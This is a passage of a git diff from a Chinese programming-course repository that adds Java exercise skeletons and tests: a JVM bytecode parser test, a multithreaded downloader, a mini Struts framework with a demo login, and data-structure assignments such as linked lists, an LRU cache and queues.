+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/util/Util.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/DownloadThread.java b/group23/563253496/week7_stack/src/com/coderising/download/DownloadThread.java
new file mode 100644
index 0000000000..900a3ad358
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/DownloadThread.java
@@ -0,0 +1,20 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+	public void run(){	
+		
+	}
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/FileDownloader.java b/group23/563253496/week7_stack/src/com/coderising/download/FileDownloader.java
new file mode 100644
index 0000000000..c3c8a3f27d
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/FileDownloader.java
@@ -0,0 +1,73 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();	
+			
+			new DownloadThread(conn,0,length-1).start();
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/FileDownloaderTest.java b/group23/563253496/week7_stack/src/com/coderising/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..4ff7f46ae0
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package com.coderising.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://localhost:8080/test.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/api/Connection.java b/group23/563253496/week7_stack/src/com/coderising/download/api/Connection.java
new file mode 100644
index 0000000000..0957eaf7f4
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/api/Connection.java
@@ -0,0 +1,23 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionException.java b/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionException.java
new file mode 100644
index 0000000000..1551a80b3d
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionManager.java b/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/api/DownloadListener.java b/group23/563253496/week7_stack/src/com/coderising/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionImpl.java b/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..36a9d2ce15
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionImpl.java
@@ -0,0 +1,27 @@
+package com.coderising.download.impl;
+
+import java.io.IOException;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		
+		return null;
+	}
+
+	@Override
+	public int getContentLength() {
+		
+		return 0;
+	}
+
+	@Override
+	public void close() {
+		
+		
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..172371dd55
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,15 @@
+package com.coderising.download.impl;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		
+		return null;
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/litestruts/LoginAction.java b/group23/563253496/week7_stack/src/com/coderising/litestruts/LoginAction.java
new file mode 100644
index 0000000000..dcdbe226ed
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package com.coderising.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/litestruts/Struts.java b/group23/563253496/week7_stack/src/com/coderising/litestruts/Struts.java
new file mode 100644
index 0000000000..85e2e22de3
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/litestruts/Struts.java
@@ -0,0 +1,34 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+
+
+public class Struts {
+
+    public static View runAction(String actionName, Map<String,String> parameters) {
+
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	
+    	return null;
+    }    
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/litestruts/StrutsTest.java b/group23/563253496/week7_stack/src/com/coderising/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..b8c81faf3c
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/litestruts/StrutsTest.java
@@ -0,0 +1,43 @@
+package com.coderising.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/litestruts/View.java b/group23/563253496/week7_stack/src/com/coderising/litestruts/View.java
new file mode 100644
index 0000000000..07df2a5dab
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/litestruts/View.java
@@ -0,0 +1,23 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/BinaryTreeNode.java b/group23/563253496/week7_stack/src/com/coding/basic/BinaryTreeNode.java
new file mode 100644
index 0000000000..d7ac820192
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/BinaryTreeNode.java
@@ -0,0 +1,32 @@
+package com.coding.basic;
+
+public class BinaryTreeNode {
+	
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode insert(Object o){
+		return  null;
+	}
+	
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/Iterator.java b/group23/563253496/week7_stack/src/com/coding/basic/Iterator.java
new file mode 100644
index 0000000000..06ef6311b2
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/Iterator.java
@@ -0,0 +1,7 @@
+package com.coding.basic;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/List.java b/group23/563253496/week7_stack/src/com/coding/basic/List.java
new file mode 100644
index 0000000000..10d13b5832
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/List.java
@@ -0,0 +1,9 @@
+package com.coding.basic;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayList.java b/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayList.java
new file mode 100644
index 0000000000..4576c016af
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayList.java
@@ -0,0 +1,35 @@
+package com.coding.basic.array;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class ArrayList implements List {
+	
+	private int size = 0;
+	
+	private Object[] elementData = new Object[100];
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index, Object o){
+		
+	}
+	
+	public Object get(int index){
+		return null;
+	}
+	
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public Iterator iterator(){
+		return null;
+	}
+	
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayUtil.java b/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayUtil.java
new file mode 100644
index 0000000000..45740e6d57
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayUtil.java
@@ -0,0 +1,96 @@
+package com.coding.basic.array;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin){
+		
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int[] removeZero(int[] oldArray){
+		return null;
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	
+	public int[] merge(int[] array1, int[] array2){
+		return  null;
+	}
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+		return null;
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max){
+		return null;
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max){
+		return null;
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+		return null;
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+		return null;
+	}
+	
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrame.java b/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..994a241a3d
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,57 @@
+package com.coding.basic.linklist;
+
+
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+	
+	private int currentSize;
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		this.currentSize = 0;
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		
+		
+	}
+	
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..7fd72fc2b4
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,34 @@
+package com.coding.basic.linklist;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+		frame.access(5);
+		Assert.assertEquals("5,4,0", frame.toString());
+		
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/linklist/LinkedList.java b/group23/563253496/week7_stack/src/com/coding/basic/linklist/LinkedList.java
new file mode 100644
index 0000000000..f4c7556a2e
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/linklist/LinkedList.java
@@ -0,0 +1,125 @@
+package com.coding.basic.linklist;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class LinkedList implements List {
+	
+	private Node head;
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index , Object o){
+		
+	}
+	public Object get(int index){
+		return null;
+	}
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public void addFirst(Object o){
+		
+	}
+	public void addLast(Object o){
+		
+	}
+	public Object removeFirst(){
+		return null;
+	}
+	public Object removeLast(){
+		return null;
+	}
+	public Iterator iterator(){
+		return null;
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/queue/CircleQueue.java b/group23/563253496/week7_stack/src/com/coding/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..1ac659da3d
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/queue/CircleQueue.java
@@ -0,0 +1,5 @@
+package com.coding.basic.queue;
+
+public class CircleQueue {
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/queue/Josephus.java b/group23/563253496/week7_stack/src/com/coding/basic/queue/Josephus.java
new file mode 100644
index 0000000000..d629d847f4
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/queue/Josephus.java
@@ -0,0 +1,19 @@
+package com.coding.basic.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 知道最后一个人留下来
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){
+		
+		return null;
+	}
+	
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/queue/JosephusTest.java b/group23/563253496/week7_stack/src/com/coding/basic/queue/JosephusTest.java
new file mode 100644
index 0000000000..7d90318b51
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/queue/JosephusTest.java
@@ -0,0 +1,27 @@
+package com.coding.basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/queue/Queue.java b/group23/563253496/week7_stack/src/com/coding/basic/queue/Queue.java
new file mode 100644
index 0000000000..c4c4b7325e
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/queue/Queue.java
@@ -0,0 +1,61 @@
+package com.coding.basic.queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/queue/QueueWithTwoStacks.java b/group23/563253496/week7_stack/src/com/coding/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..bbd4715ca6
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,40 @@
+package com.coding.basic.queue;
+
+import java.util.Stack;
+
+public class QueueWithTwoStacks<E> {
+    private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+   
+
+
+    public boolean isEmpty() {
+       return false;
+    }
+
+
+    
+    public int size() {
+       return -1;
+    }
+
+
+
+    public void enQueue(E item) {
+        
+    }
+
+    public E deQueue() {
+        return null;
+    }
+
+
+ }
+
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/Stack.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/Stack.java
new file mode 100644
index 0000000000..de597befb4
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/Stack.java
@@ -0,0 +1,64 @@
+package com.coding.basic.stack;
+
+import java.util.ArrayList;
+import java.util.ArrayList;
+
+/**
